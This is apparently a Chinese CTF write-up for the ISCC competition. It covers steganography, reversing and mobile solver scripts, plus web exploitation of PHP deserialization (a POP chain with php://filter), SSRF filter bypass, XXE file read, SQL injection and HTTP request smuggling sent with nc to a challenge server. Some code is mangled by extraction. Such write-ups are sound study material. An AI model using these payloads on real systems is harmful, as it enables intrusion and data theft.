//array(0。安全|ISCC-WP。" />

安全|ISCC-WP

练武wp: MISC 2022冬奥会 图片在kali中,没有显示缩略图,其宽高很可能被修改过
安全|ISCC-WP
文章图片

修改图片的长之后,下面出些一些&#x编码,这是html实体编码。进行unicode解码得到
冰敦敦的小伙伴经常被人冷落,你知道他的原型是什么吗?
雪容融的原型是灯笼 得到一个jpg文件,把拖到010editor里得到flag
安全|ISCC-WP
文章图片

通过这个题目我学会了html实体编码,还有如何修改图片的长宽。
单板小将苏翊鸣 图片010editor修改高宽,下面有一个二维码 ,扫描二维码
安全|ISCC-WP
文章图片

得到unicode编码的东西,

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f

然后进行解码,是让我猜测冬奥会总共有几枚奖牌,有分别是几枚金牌,银牌和铜牌。
分别是 15 9 4 2 压缩包密码就是这几个数字合并。
打开就是flag。
这个题目收获学会修改图片高低,学会Unicode编码。
隐秘的信息 给你的信息进行base64解密,解密得到
easy_to_find_the_flag 这是压缩包密码
里面有一张照片,LSB隐写,利用stegsolve查看
前九行,进行十六进制转二进制
安全|ISCC-WP
文章图片

ASCII码的二进制表达,是从 0000 0000 开始,到 0111 1111 结束, 1位十六进制数表示四位二进制数,比如十六进制的1二进制表示就是0001。转换要注意
111111010010010101001101000011010000110111101101010000011001100011010001000011011000100100110001110000011101100110101101100001010110000110010001101110001100100111001000110101011010010110100101001111011100110111110111111111000000000111111000000000000111111111111111111111000111111000111111111000000000111111111111000000000111000111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111011110001000100100000111100001100001101001001110001100111111101
ASCLL码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。
所以,在针对ASCII码的形式进行修改后,得到
0100100101010011010000110100001101111011010100000110011000110100010000110110001001001100011100000111011001101011011000010101100001100100011011100011001001110010001101010110100101101001010011110111001101111101
转换后得到flag
安全|ISCC-WP
文章图片

这个题目收获到了lsb隐写的一些操作,然后ASCII码的二进制表达,是从 0000 0000 开始,到 0111 1111 结束, 1位十六进制数表示四位二进制数,比如十六进制的1二进制表示就是0001,ascll码使用指定的七位或八位二进制数组合来表示128或256种可能的组合。
降维打击 图片通过010editor打开,然后发现图片的头部是89 50 4E 47,然后发现最后也有一个 89 50 4E 47,
安全|ISCC-WP
文章图片

然后把后面的十六进制文本提取出来,在010editor中打开,保存图片位置,发现有一张图片。
安全|ISCC-WP
文章图片

利用zsteg查看这个黑白图片的各个通道的lsb
安全|ISCC-WP
文章图片

发现存在一个png,输出出来
安全|ISCC-WP
文章图片

安全|ISCC-WP
文章图片

将得到的png图片对照魔女文字,即可得到flag
安全|ISCC-WP
文章图片

这个题目收获了图片的头部是89 50 4E 47,通过十六进制保存图片,学会了zsteg隐写,
藏在星空中的诗-1 将图片经过ps打开,把透明度拉到最高。
安全|ISCC-WP
文章图片

得到一个顺序1,3,5,2,4,
又看到txt里的是特殊符号,且有序号
赛题又提示最好使用WinRAR,所以猜测密码是五排符号,就按13524的顺序得到xlsx文件的密码。发现是字母和字符的对照图片。
![在这里插入图片描述](https://img-blog.csdnimg.cn/abdafd3fa2444e26bd49d1a9e7fd536d.png安全|ISCC-WP
文章图片

进行一一对应,就是flag。
本题目学会了photoshop的使用方法,如何把透明度拉到最高。也知道了WinRAR的强大。
真相只有一个 解压得到一个文本txt,一个png图片,一个无后缀名文件
把stream拖到010editor里面,
安全|ISCC-WP
文章图片

文件头前端与zip源文件数据区基本相同,前两位被修改;改为50 4B 03 04,内含stream.pcapng文件。
对图片进行zsteg分析
安全|ISCC-WP
文章图片

猜测该文本可能与解压密码有关。然后猜测可能需要掩码爆破。
安全|ISCC-WP
文章图片

所以密码就是19981111
然后打开是一个流量包,用wireshark打开,发现一个password.mp3文件。通过ftp查找定位到8692
安全|ISCC-WP
文章图片

用Audacity打开,放大在末尾发现摩斯密码。
安全|ISCC-WP
文章图片

通过解密得到密码是isccmisc 最后flag.txt是snow隐写,利用密码 得到flag ``` snow.exe -p isccmisc -C flag.txt

这个题目学到了如何用wirshark分离mp3文件,还有压缩包如何爆破,摩斯密码可以藏在音频里。题目指令很不错。## 藏在星空中的诗-2 在星空中的诗1中,有一个xlsx文件,每一个星星都有对应的十六进制数字,是xlxs中每个星星对应的最后U+中的最后一个数字 然后拼出poem中全部的十六进制数,再转化为ascll码表就是flag

import json
flag_enc=“全部密文”.replace(“每组前三个相同的字符”,“”)
flag_unicode_hex=[str(hex(ord(i))).upper() for i in flag_enc if i!=“\”]
final_flag_unicode=“”
for i in range(len(flag_unicode_hex)):
# if i%20 and i0:
# final_flag_unicode +=“\u00”+flag_unicode_hex[i][-1]
if i%2==0:
final_flag_unicode +=“\u00”+flag_unicode_hex[i][-1]
else:
final_flag_unicode+=flag_unicode_hex[i][-1]
print(json.loads(‘“%s”’ %final_flag_unicode))
这个题目学会了将星星转为十六进制数,将十六进制数再转化为ascll码表,题目还不错。## 小光学AI 题目是让结合机器学习的方法分析像素点的比值。 所给的附件中给出了训练集(training_images),password和flag.zip。训练集中给出了上百张图片和xml文件,xml文件中记录了数据xmin,xmax,ymin,ymax。 计算像素脚本:```python import os import sysdef get_sum(C:\Desktop\ISCC): sum = 0 for root, dirs, files in os.walk(path): for file in files: if file.endswith('.jpg'): file_path = os.path.join(root, file) sum += get_pixel_sum(file_path) return sum def get_pixel_sum(file_path): sum = 0 with open(file_path, 'rb') as f: for line in f: sum += len(line) return sumif __name__ == '__main__': path = 'mushroom/' sum = get_sum(path) print(sum)

通过手动计算,得到爆破字典
a = 34700 b = 46000 c = 56000 f = open("dict1.txt","w+") for i in range(5000): for j in range(5000): for k in range(5000): f.write(str(a+i) + ":" + str(b+j) + ":" + str(c+k)+'\n')

爆破字典得到打开压缩包获得flag:37035:49380:61725
套中套 密码隐藏在那张图片里,补全png格式再修改高可以获的一部分, flag1: wELC0m3_
然后拖到stegsolove,
安全|ISCC-WP
文章图片

flag1: wELC0m3_T0_tH3
用winhex打开,最后有一段base64,解密
flag1和flag2合起来wELC0m3_T0_tH3_ISCC_Zo2z
#!/usr/bin/pythonimport random import codecs import gmpy2 import sys import osdef getRandom(randomlength=4): digits="0123456789" ascii_letters="abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" str_list =[random.choice(digits +ascii_letters) for i in range(randomlength)] random_str =''.join(str_list) return random_strdef makeKey(n): privKey = [random.randint(1, 4**n)] s = privKey[0] for i in range(1, n): privKey.append(random.randint(s + 1, 4**(n + i))) s += privKey[i] q = random.randint(privKey[n-1] + 1, 2*privKey[n-1]) r = random.randint(1, q) while gmpy2.gcd(r, q) != 1: r = random.randint(1, q) pubKey = [ r*w % q for w in privKey ] return privKey, q, r, pubKeydef encrypt(msg, pubKey): msg_bit = msg n = len(pubKey) cipher = 0 i = 0 for bit in msg_bit: cipher += int(bit)*pubKey[i] i += 1 return bin(cipher)[2:]flaggg=open('ffalg.txt','w')# secret = input('Plz input the FLAG to generate the question.') for i in range(50): fe = open('enc.txt', 'w') fpub = open('pub.Key', 'w') fpriv = open('priv.Key', 'w') fq = open('q.txt', 'w') fr = open('r.txt', 'w') print(i) tt="ISCC{" for j in range(3): temp=getRandom() tt=tt+temp+'-' secret = tt[:-1]+'}' flaggg.write(secret) flaggg.write('\n') msg_bit = bin(int(codecs.encode(secret.encode(), 'hex'), 16))[2:] keyPair = makeKey(len(msg_bit)) pub_str = '['+', '.join([str(i) for i in keyPair[3]]) + ']' fpub.write(pub_str) #print ('pub.Key: ' + pub_str) enc =encrypt(msg_bit, keyPair[3]) #print ('enc: ' + str(int(enc, 2))) fe.write(str(int(enc, 2))) priv_str = '['+', '.join([str(i) for i in keyPair[0]]) + ']' #print ('priv.Key: ' + priv_str) fpriv.write(priv_str) #print('q: ' + str(keyPair[1])) fq.write(str(keyPair[1])) #print('r: ' + str(keyPair[2])) fr.write(str(keyPair[2])) name="misc-example-"+str(i+1)+".zip" fe.close() fpub.close() fpriv.close() fq.close() fr.close() os.system("zip -r -P'wELC0m3_T0_tH3_ISCC_Zo2z' tzt2.zip enc.txt generator.py priv.Key pub.Key q.txt r.txt") os.system("zip -r ./output/{}.zip tzt.png tzt2.zip".format(name))flaggg.close()

加密部分:
def encrypt(msg, pubKey): msg_bit = msg n = len(pubKey) cipher = 0 i = 0 for bit in msg_bit: cipher += int(bit)*pubKey[i] i += 1 return bin(cipher)[2:]

这里就可以知道cipher就是选择若干个pubKey相加,而选择哪一方相加是由明文决定
安全|ISCC-WP
文章图片

如果但从这里看,可以尝试暴力说不定可以,不过很明显不靠谱
然后看看密钥的生成
def makeKey(n): privKey = [random.randint(1, 4**n)] s = privKey[0] for i in range(1, n): privKey.append(random.randint(s + 1, 4**(n + i))) s += privKey[i] q = random.randint(privKey[n-1] + 1, 2*privKey[n-1]) r = random.randint(1, q) while gmpy2.gcd(r, q) != 1: r = random.randint(1, q) pubKey = [ r*w % q for w in privKey ] return privKey, q, r, pubKey

得到的信息
公钥生成方式是r*w %q
私钥是递增的并且大于之前私钥数之和
q大于最后一个私钥
首先可以先乘上逆元r,将cipher转换为在q上的私钥运算
安全|ISCC-WP
文章图片

q大于所有私钥之和,私钥是递增的,大于之前私钥之和。所以很明显 ,对于任意的prikey_i,如果加入cipher,它的地位是唯一的,也就是加上它 cipher > prikey_i 不加上它 cipher < prikey_i(从最大的prikey开始判断)
可以写出最一般的情况解
for i in range(1): r = enc = q = #enc =encrypt(msg_bit, keyPair[3],keyPair[0],q) key = enc = (enc*gmpy2.invert(r,q))%q flag = '' for i in range(len(key)-1,-1,-1): if enc - key[i] > 0: enc -= key[i] flag =flag+'1' else: flag+='0' print(long_to_bytes(int(str(flag[::-1]),2)))

还有考虑一种特殊情况,就是之前的私钥值加上最后一个私钥值大于q的情况
此时需要先减去最后一个私钥值(mod q),之后同上
for i in range(1): r = enc = q = #enc =encrypt(msg_bit, keyPair[3],keyPair[0],q) key = enc = (enc*gmpy2.invert(r,q))%q flag = '' enc = (enc-key[-1])%q flag+='1' for i in range(len(key)-2,-1,-1): if enc - key[i] > 0: enc -= key[i] flag =flag+'1' else: flag+='0' print(long_to_bytes(int(str(flag[::-1]),2)))

这个题目确实是套中套,公钥生成方式是r*w %q,私钥是递增的并且大于之前私钥数之和,q大于最后一个私钥,首先可以先乘上逆元r,将cipher转换为在q上的私钥运算。题目挺有意思。增加了对密码学的见识。
WEB 冬奥会 源码:
$val){ $val==="skiing"?die("Sorry~"):NULL; } $Step2=True; } } if($Step1 && $Step2){ include "2022flag.php"; echo $flag; } ?> //array(0) { }

代码审计,是get传参information
要求’year’为2022
'item’为三个?的数组 并且第[1]和的值是数组
因为是JSON_decode所以格式是{“key1”:obj ",“key2”:“obj2”…}
?Information={“year”:“2022a”,“items”:[“gh”,[“asaf”,“qweas”],0]}
这个题目收获了json数据的格式,以及三个等于号和两个等于号的区别。
Pop2022
Happy New Year~ MAKE A WISH '; if(isset($_GET['wish'])){ @unserialize($_GET['wish']); } else{ $a=new Road_is_Long; highlight_file(__FILE__); } /***************************pop your 2022*****************************/ class Road_is_Long{ public $page; public $string; public function __construct($file='index.php'){ $this->page = $file; } public function __toString(){ return $this->string->page; } public function __wakeup(){ if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) { echo "You can Not Enter 2022"; $this->page = "index.php"; } } } class Try_Work_Hard{ protected$var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Make_a_Change{ public $effort; public function __construct(){ $this->effort = array(); } public function __get($key){ $function = $this->effort; return $function(); } } /**********************Try to See flag.php*****************************/

题目的流程:
Road_is_Long.wakeup.page
$page->new Road_is_Long
$string->new Make_a_Change
$effort->new Try_Work_Hard
$var->php://filter/read=convert.base64-encode/resource=flag.php
payload
string = new Make_a_Change(); } }$a = new Road_is_Long; $a->page = new Road_is_Long(); $a->page->string->effort = new Try_Work_Hard(); echo urlencode(serialize($a)); ?>

?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BN%3B%7D%7D

通过这个题目收获了php序列化和反序列化。还有php伪协议读取文件内容。
这是一道代码审计题 打开出现一个/index查看源代码,提示要传参url。
安全|ISCC-WP
文章图片

发现这个文件。
这是表情解密
http://www.atoolbox.net/Tool.php?Id=937,然后得到
def geneSign(): if(control_key==1): return render_template("index.html") else: return "You have not access to this page!" def check_ssrf(url): hostname = urlparse(url).hostname try: if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): raise BaseException("url format error") ifre.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url): if judge_ip(hostname): return True return False, "You not get the right clue!" else: ip_address = socket.getaddrinfo(hostname,'http')[0][4][0] if is_inner_ipaddress(ip_address): return False,"inner ip address attack" else: return False, "You not get the right clue!" except BaseException as e: return False, str(e) except: return False, "unknow error" def ip2long(ip_addr): return struct.unpack("!L", socket.inet_aton(ip_addr))[0] def is_inner_ipaddress(ip): ip = ip2long(ip) print(ip) return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24 def waf1(ip): forbidden_list = [ '.', '0', '1', '2', '7'] for word in forbidden_list: if ip and word: if word in ip.lower(): return True return False def judge_ip(ip): if(waf1(ip)): return Fasle else: addr = addr.encode(encoding = "utf-8") ipp = base64.encodestring(addr) ipp = ipp.strip().lower().decode() if(ip==ipp): global control_key control_key = 1 return True else: return Fals

源码只有返回为true的时候才可以触发,要让ip==ipp,
addr=127.0.0.1,将127.0.0.1进行base64编码,然后转小写base64解码和ip相同的话就为true,
/index?url=https://@mti3ljaumc4x //一定要注意这里的@不能丢, 然后进行传参 得到一个cookie aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ== 将原来的cookie进行替换。 a_cookie = aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==

然后会得到一个xm。
function codelogin(){ var name = $("#name").val(); var password = $("#password").val(); if(name == "" || word == ""){ alert("Please enter the username and password!"); return; } var data = "https://www.it610.com/article/" + name + "" + password + ""; $.ajax({ contentType: "application/xml; charset=utf-8", type: "POST", url: "codelogin", data: data, dataType: "xml", anysc: false, success: function (result) { var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue; var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue; if(code == "0"){ $(".msg").text(msg + " login fail!"); }else if(code == "1"){ $(".msg").text(msg + " login success!"); }else{ $(".msg").text("error:" + msg); } }, error: function (XMLHttpRequest,textStatus,errorThrown) { $(".msg").text(errorThrown + ':' + textStatus); } }); } 继续xml伪造,这里有xxe漏洞 ```xml ]> &f; password

然后以post的方式传入 /mti3ljaumc4x/codelogin 就能得到flag
通过这个最主要是学会了把127.0.0.1过滤了,该怎么绕过,这里之前没见过,这次学会了通过base64的格式可以绕过。这里是一个知识点.
Easy-SQL 59.110.159.206:7010?id=-8 --+,得到一个ypHeMPardErE.zip@beaxia.cn,然后访问ypHeMPardErE.zip
会得到源码
connect_errno) { die("Connection failed: " . $conn->connect_errno); } echo "Where is the database?"."
"; echo "try ?id"; function sqlWaf($s) { $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|; |"|\^|\||\ |\'/i'; if (preg_match($filter,$s)) return False; return True; }if (isset($_GET['id'])) { $id = $_GET['id']; $sql = "select * from users where id=$id"; $safe = preg_match('/select/is', $id); if($safe!==0) die("No select!"); $result = mysqli_query($conn, $sql); if ($result) { $row = mysqli_fetch_array($result); echo "" . $row['username'] . "

"; echo "" . $row['passwd'] . "
"; } else die('
Error!'); }if (isset($_POST['username']) && isset($_POST['passwd'])) {$username = strval($_POST['username']); $passwd = strval($_POST['passwd']); if ( !sqlWaf($passwd) ) die('damn hacker'); $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'"; $result = $conn->query($sql); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); if ( $row['username'] === 'admin' && $row['passwd'] ) { if ($row['passwd'] == $passwd) { die($flag); } else { die("username or passwd wrong, are you admin?"); } } else { die("wrong user"); } } else { die("user not exist or wrong passwd"); } } mysqli_close($conn); ?>

【安全|ISCC-WP】要求是post传参username,passwd.
$row[‘username’] === ‘admin’ &&
r o w [ ′ p a s s w d ′ ] 和 row['passwd']和 row[′passwd′]和row[‘passwd’] == $passwd
payload :username=-1’ union values row(“admin”,“admin”,“admin”)%23&passwd=admin
通过这个题目学到了mysql8的特性,可以通过union values row方式可以读取内容。
让我康康! 这是一个HTTP走私题目。
burpsuite抓包回显服务器是gunicorn/20.0.0
这个服务器版本有HTTP走私漏洞,查看源代码,出现一个try flag,然后访问/flag; .txt。
安全|ISCC-WP
文章图片

输入flag,回显一个flag is in ‘/fl4g’
echo -en "POST / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 76\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxPOST /fl4g HTTP/1.1\r\nHost: localhost\r\nContent-Length: 55\r\n\r\nPOST / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

回显本地访问。
echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

安全|ISCC-WP
文章图片

这个题目学到了HTTP走私,/r/n的使用,对于TE,CL的方式也有了学习。
findme
un0) && empty($this->un2)){ $this -> Givemeanew(); if($this -> un3 === 'unserialize'){ $this -> yigei(); } else{ $this -> giao(); } } } public function Givemeanew(){ $this -> un4 = new $this->un0($this -> un1); } public function yigei(){ echo 'Your output: '.$this->un4; }public function giao(){ @eval($this->un2); }public function __wakeup(){ include $this -> un2.'hint.php'; } } $data = https://www.it610.com/article/$_POST['data']; unserialize($data);

通过php为协议读取hint内容

然后base64解密得到的内容

目录遍历:

回显出文件 fA1TE_GRo9rde_OScter5r.txt
用SplFileObject读文件

回显出flag ISCC{DQnm19dw_SPxQwQsK_21EnFvN}
这个题目学会了php伪协议和
爱国敬业好青年-2 主页面是一个假页面,burpsuite先get方式传入change页面,出现一个open,然后再访问flag页面,post提交 lati=116°23′E&langti=39°54′N
就是flag.
REVERSE GetTheTable 直接上IDA,可以看出到这是一个base58算法。
安全|ISCC-WP
文章图片

密文就是ERaQux2sG1yhTracrk1ZrZ6qnc,解出来就是flag。
**
Amy’s Code 这是三十二位的程序
在main函数中,输入的v4给v3,然后传入sub_4115FF(),
安全|ISCC-WP
文章图片

输入的值都按位异或,之后在传进
安全|ISCC-WP
文章图片

根据这里构造出脚本
v6='LWHFUENGDJGEFHYDHIGJ' v9=[149,169,137,134,212,188,177,184,177,197,192,179,153,140,175,146,105,157,104,184] str='' flag='' for i in range(len(v6)): str+=chr(v9[i]-ord(v6[i])) for i in range(len(v9)): flag+=chr(ord(str[i])^i) print(flag)

VigenereLike
import base64string = ['I', 'S', 'C', 'C', 'Y', 'E', 'S'] string2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "dai = 'rJFsLqVyFKZBHDkIqr5wu LZlu1Eo1pZLommCrv='# base64 flag = '' for i in range(0, len(dai)): if dai[i] in string2: v = string2.find(dai[i]) v2 = string2.find(string[i % 7]) out = string2[v - v2] flag += out else: flag += dai[i] print(flag) flag = base64.b64decode(flag) print(flag) flag = list(flag) for o in range(len(flag)): flag[o] = chr(flag[o] ^ ((o % 7) + 1)) print(''.join(flag)[:-4])

How_decode 在encode里看到了sum=0x61c88648,这是xxtea加密,秘钥就是k数组的4位。密文是main函数前面的长串。
安全|ISCC-WP
文章图片

解密算法:
#include #include #define DELTA 0x9e3779b9 #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[e^p&3] ^ z)))void btea(uint32_t* v, int n, uint32_t const key[4]) { int y, z, sum, t; unsigned p, rounds, e; if (n > 1)/* Coding Part */ { rounds = 6 + 52 / n; sum = 0; z = v[n - 1]; do { sum += DELTA; e = (sum >> 2) & 3; for (p = 0; p < n - 1; p++) { y = v[p + 1]; t = v[p]; t += MX; z = t; } y = v[0]; z = v[n - 1] += MX; } while (--rounds); } else if (n < -1)/* Decoding Part */ { n = -n; rounds = 6 + 52 / n; sum = rounds * DELTA; y = v[0]; do { e = (sum >> 2) & 3; for (p = n - 1; p > 0; p--) { z = v[p - 1]; y = v[p] -= MX; } z = v[n - 1]; y = v[0] -= MX; sum -= DELTA; } while (--rounds); } }int main() { uint32_t v[] = { 0x583A2755,0x15F437DE, 0xEB4BF8AF,0xD9F98EF2, 0x42CCAB39,0x7A857094, 0x912E821D,0xCD3148B7, 0x743BC712,0x487532A5, 0x5A630997,0x80576CDB, 0x11783A4D,0x73D2C70E, 0xD6EE81AC,0xDAFA0F09, 0xAC79A9EC,0x91F4B9B7 }; uint32_t const k[4] = { 73,83,67,67 }; int n = 18; //n的绝对值表示v的长度,取正表示加密,取负表示解密//btea(v, n, k); btea(v, -n, k); for (int i = 0; i < 18; i++) { printf("%x ", v[i]); } return 0; }

Sad Code 32位ida打开,将里面的内容替换。
exp1:
from z3 import * s = Solver() v16=[Int('v16[%d]'%i) for i in range(7)] v15=Int('v15') s.add(v16[1] + 7 * v16[0] - 4 * v15 - 2 * v16[2] == ) s.add(5 * v16[2] + 3 * v16[1] - v16[0] - 2 * v15 == ) s.add(2 * v16[0] + 8 * v16[2] + 10 * v15 - 5 * v16[1] == ) s.add(7 * v15 + 15 * v16[0] - 3 * v16[2] - 2 * v16[1] == ) s.add(15 * v16[3] + 35 * v16[6] - v16[4] - v16[5] == ) s.add(38 * v16[5] + v16[3] + v16[6] - 24 * v16[4] == ) s.add(38 * v16[4] + 32 * v16[3] - v16[5] - v16[6] == ) s.add(v16[3] + 41 * v16[5] - v16[4] - 25 * v16[6] == ) if s.check(): print(s.model())

exp2:(exp1运行结果放入exp2之中)
from Crypto.Util.number import long_to_bytes v16=[0]*7v16[2] = v16[4] = v15 = v16[6] = v16[3] = v16[1] = v16[5] = v16[0] = flag=long_to_bytes(v15) for i in v16: flag+=long_to_bytes(i) print(flag)

Ruststr Base64解密异或,
然后判断大小写再异或
b = [ 0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E, 0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73, 0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD, 0x0B, 0xE2 ] c = [0xe4,0x09,0xd9,0x47,0xf8,0x10,0xa3,0xb8,0x09,0xce,0x30, 0x8c,0x64,0x97,0x4e,0x0a,0x3e,0x4b,0x51,0x07,0x8f,0x79,0x60,0x5b,0x9b] m = [] for i in range(len(c)): m.append(c[i]^b[i]) key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62, 0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64, 0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64] def lll(a,b): if a>b: return 0 else: return -1 f = '' for i in range(len(m)): for j in range(128): if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]: f += chr(j) print(f) break p = list(f[::-1])print() def ppp(num): a = num&1 return a==0 for i in range(len(p)): if ord('a')<=ord(p[i])<=ord('z'): p[i] = chr(ord(p[i])^0x20) elif ord('A')<=ord(p[i])<=ord('Z'): p[i] = chr(ord(p[i])^0x20) elif ord('0') <=ord(p[i])<=ord('9'): a = ord(p[i]) + 1 b = ord(p[i]) - 1 if ppp(ord(p[i])): p[i] = chr(a) else: p[i] = chr(b) else: pass for i in range(len(p)): print(p[i],end='')

Bob’s Code 在主函数中的sub_4116C7这个函数跟进去是一个base64加密。
安全|ISCC-WP
文章图片

sub_411389跟进去也是一个base64加密,这里进行了换表
下面是对字符串进行加点
安全|ISCC-WP
文章图片

安全|ISCC-WP
文章图片

sub_4116E0是对字符串进行位移变换,
payload
#include using namespace std; void one(); int main(){ one(); return 0; } void one() { char Str[100]; int a[100]; char a1[] = ".W1BqthGbfGvLc3IaAWByo.W15oXRKXiUyXXBYe01VoVlKX2zWVNJUuilkoF0."; int a2 = 2; int len = strlen(a1); for (int i = 0; i < len; i++) { for (int j = 0; j < 128; j++) { a[i] = j; if (a[i] < 65 || a[i] > 90) { if (a[i] >= 97 && a[i] <= 122) { a[i] = (a[i] + a2 - 97) % 26 + 97; } } else { a[i] = (a[i] + a2 - 65) % 26 + 65; } if ((char)a[i] == a1[i]) { Str[i] = j; } } } for (int num = 0; num < len; num++) { cout << Str[num]; } cout << endl; } 得到的密文去点进行换表base64解密,在进行base64解密 import base64 import string str1 = "U1ZorfEzdEtJa3GyYUZwmU15mVPIVgSwVVZWc01TmTjIV2xUTLHSsgjimD0====" string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_" string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"flag1 = base64.b64decode(str1.translate(str.maketrans(string1,string2))) flag = base64.b64decode(flag1) print(flag)

MOBILE Amy’s Code 安全|ISCC-WP
文章图片

输入的字符串从第五位到"“这一部分传入到Jlast,在Jlast里面进行md5+base64,安全|ISCC-WP
文章图片

从这里可以看出,”
“到倒数第二位全部进行AES加密再进行base64加密,
key为加密之后的"K@e2022%%y”,
iv是"I&V2022*",
进行逆向运算
#include using namespace std; int main() { int i = 0; bool z = false; char a[] = "=IkMBb+=gF2/Try5PCUruw1j"; char b[100]; for (int i2 = 5; i2 >= 0; i2--) { if (!z) { for (int i3 = 3; i3 >= 0; i3--) { b[(i3 * 6) + i2] = a[i]; i++; } z = true; } else { for (int i4 = 0; i4 <= 3; i4++) { b[(i4 * 6) + i2] = a[i]; i++; } z = false; } } for (int num = 0; num < 24; num++) { cout << b[num]; } cout << endl; system("pause"); return 0; }

然后将得到的内容进行MD5,base64解密。
得到的内容进行aes解密
安全|ISCC-WP
文章图片

就能得到flag。
MobileB 安全|ISCC-WP
文章图片

安全|ISCC-WP
文章图片

通过分析so文件 构造·payload
a = input("加密的数据:")[:-1] print("输入so的数据:") b = input("one:") b+=b c = input("two:") c+=c d = input("three:") d+=d e = input("four:") e+=e f = input("five:") f+=f g = input("six:") g+=g h = input("seven:") h+=h i = input("eight:") i+=i j = input("nine:") j+=j k = input("ten:") k+=k l = input("eleven:") l+=l m = input("twelve:") m+=m n = [5,1,51,2,52,12,512,3,53,13,513,23,523,123,5123,4,54,14,514,24,524,124,5124,34,534,134,5134 ,234,5234,1234,51234] a=list(map(int,a.split("0"))) o="ABCDEFGHIJKLMNOPQRSTUVWXYZ" p = [] for r in a: p.append(o[n.index(r)]) q = [d,m,g,i,h,c,e,l,b,f,j,k] print("ISCC{",end='') for r in range(12): print(q[r][q[r].index(p[r],26)-9],end='') print('}')

MobileC 输入错误会有"输入错误,继续加油"的提示。
逻辑分析: 将输入进行 CBC 模式的 AES 加密,key通过Myjni.GetKey 获得,iv 是 aUBTJjg4Q2NDLg== 然后Base64后调用了 GetStr 后和指定的字符串比较,GetKey和GetStr都是mobilec库里的native函数
安全|ISCC-WP
文章图片

GetKey和GetStr都是mobilec库里的native函数
GetKey的值可以通过 objection hook直接获得: QERAPG9dPyZfTC5f
安全|ISCC-WP
文章图片

安全|ISCC-WP
文章图片

在libmobilec.so中找到Java_com_example_mobilec_MyJNI_Myjni_GetStr
调用了GetStrc
GetStrc里将第一个输入用"="补齐,然后分成了6组,
然后根据第二个输入选择6组中的几组作为结果返回,逆推回去,所以结果肯定6个组都包含,所以只需排列组合一下,用aes解密后筛选出有意义的答案即可。
